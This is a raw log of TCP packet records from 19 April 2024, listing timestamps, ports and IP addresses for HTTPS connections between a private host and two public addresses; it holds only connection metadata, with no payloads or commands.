Apr 19, 2024 17:01:52.679881096 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.680229902 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.680538893 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.680615902 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.680684090 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.682640076 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.682812929 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.682827950 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.683326960 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.683608055 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.683676004 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.683773041 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.684209108 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.684499025 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.684530973 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.685416937 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.685499907 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.685729027 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.685790062 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.685812950 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.724118948 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.724136114 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.728116035 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.737951994 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.737972975 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:52.737998009 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:52.785962105 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146246910 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146305084 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146339893 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146378994 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146401882 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146411896 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146424055 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146431923 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146462917 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146472931 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146507978 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146550894 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146554947 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146847963 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146889925 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146889925 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146908998 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.146944046 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.146950006 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147741079 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147789001 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.147790909 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147803068 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147835970 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.147842884 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147906065 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147933006 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147942066 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.147952080 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.147996902 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.148607969 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.148699045 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.148736954 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.148741007 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.148747921 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.148783922 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.148787975 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149604082 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149748087 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149836063 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149920940 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.149935961 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149949074 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149982929 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.149990082 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.149993896 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150037050 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150047064 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150049925 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150067091 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150084019 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150114059 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150118113 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150119066 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150175095 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150177002 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150219917 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150240898 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150249958 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150265932 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150294065 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150299072 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150326014 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150358915 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150362015 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150419950 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150491953 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150496006 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150639057 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150723934 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150753975 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150758982 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150819063 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.150823116 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.150929928 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.151034117 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.151038885 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.151587963 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.151674986 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.151688099 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.151691914 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.151734114 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.151757002 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152128935 CEST	49731	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.152147055 CEST	443	49731	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152437925 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152499914 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.152503967 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152574062 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152656078 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152671099 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.152676105 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.152757883 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.152762890 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.153217077 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.153331995 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.153336048 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.153413057 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.153486967 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.153510094 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.153515100 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.153578997 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.200028896 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.200094938 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245362043 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245404959 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245461941 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245486021 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.245517969 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245539904 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.245573044 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245604992 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.245626926 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.245640039 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.245964050 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246011019 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246015072 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.246037960 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246078014 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.246081114 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246093035 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246138096 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.246859074 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246939898 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.246984005 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.246999025 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.249286890 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.249511003 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.249573946 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.249645948 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.249648094 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.249675035 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.249732971 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.249948025 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.250063896 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.250348091 CEST	49730	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.250365973 CEST	443	49730	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.252228975 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.252274990 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.252296925 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.252321959 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.252358913 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.253113985 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.253184080 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.253205061 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.253484011 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.253532887 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.253544092 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.253562927 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.253604889 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.254771948 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.254837036 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.254858017 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.254909992 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.254940033 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.254950047 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.254983902 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.255069017 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.255114079 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.255394936 CEST	49729	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.255412102 CEST	443	49729	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.285410881 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.285466909 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.285557032 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.285809994 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.285825968 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.308017015 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.308068991 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.308269978 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.308581114 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.308594942 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.505604982 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.505937099 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.506000996 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.506500006 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.506911039 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.507010937 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.507078886 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.530337095 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.530752897 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.530786037 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.531879902 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.532191038 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.532341003 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.532350063 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.532397985 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.550946951 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.550965071 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.583044052 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.973053932 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973108053 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973143101 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973174095 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973201990 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.973206043 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973228931 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973244905 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.973259926 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973267078 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.973275900 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973314047 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.973520994 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973579884 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973604918 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973613024 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.973619938 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.973654032 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.974148989 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.974210978 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.974241018 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.974255085 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.974263906 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.974307060 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.974314928 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975024939 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975068092 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975075960 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.975084066 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975126982 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975127935 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.975141048 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975178003 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.975184917 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975909948 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.975963116 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.976077080 CEST	49732	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.976090908 CEST	443	49732	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.979003906 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:53.979074001 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:53.979170084 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:53.979428053 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:53.979459047 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:53.980791092 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.980830908 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.980887890 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.981102943 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.981133938 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.981204033 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.981564045 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.981576920 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.982125044 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.982146025 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.982481003 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.982551098 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.982625008 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.982759953 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.982779026 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.982824087 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.983056068 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.983093023 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.983138084 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.983298063 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.983333111 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.983483076 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.983500004 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:53.983655930 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:53.983669996 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.073565006 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.073693037 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.073765039 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.074376106 CEST	49733	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.074395895 CEST	443	49733	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.198159933 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.198380947 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.198396921 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.198951006 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.199242115 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.199367046 CEST	49734	443	192.168.2.18	104.21.35.209
Apr 19, 2024 17:01:54.199388027 CEST	443	49734	104.21.35.209	192.168.2.18
Apr 19, 2024 17:01:54.202717066 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.202953100 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.202965975 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.203545094 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.203816891 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.203902960 CEST	49735	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.203912973 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.203916073 CEST	443	49735	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.204518080 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.204701900 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.204739094 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.205100060 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.205368996 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.205400944 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.205781937 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.205847979 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.205943108 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.205974102 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.205986977 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.206218004 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.206298113 CEST	443	49737	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.206305027 CEST	49737	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.206367970 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.206470013 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.206506968 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.206661940 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.206729889 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.206872940 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.206943989 CEST	443	49736	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.206983089 CEST	49739	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.206996918 CEST	443	49739	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.207026958 CEST	49736	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.207474947 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.207639933 CEST	49738	443	192.168.2.18	172.67.179.148
Apr 19, 2024 17:01:54.207664013 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.208764076 CEST	443	49738	172.67.179.148	192.168.2.18
Apr 19, 2024 17:01:54.208831072 CEST	49738	443	192.168.2.18	172.67.179.148
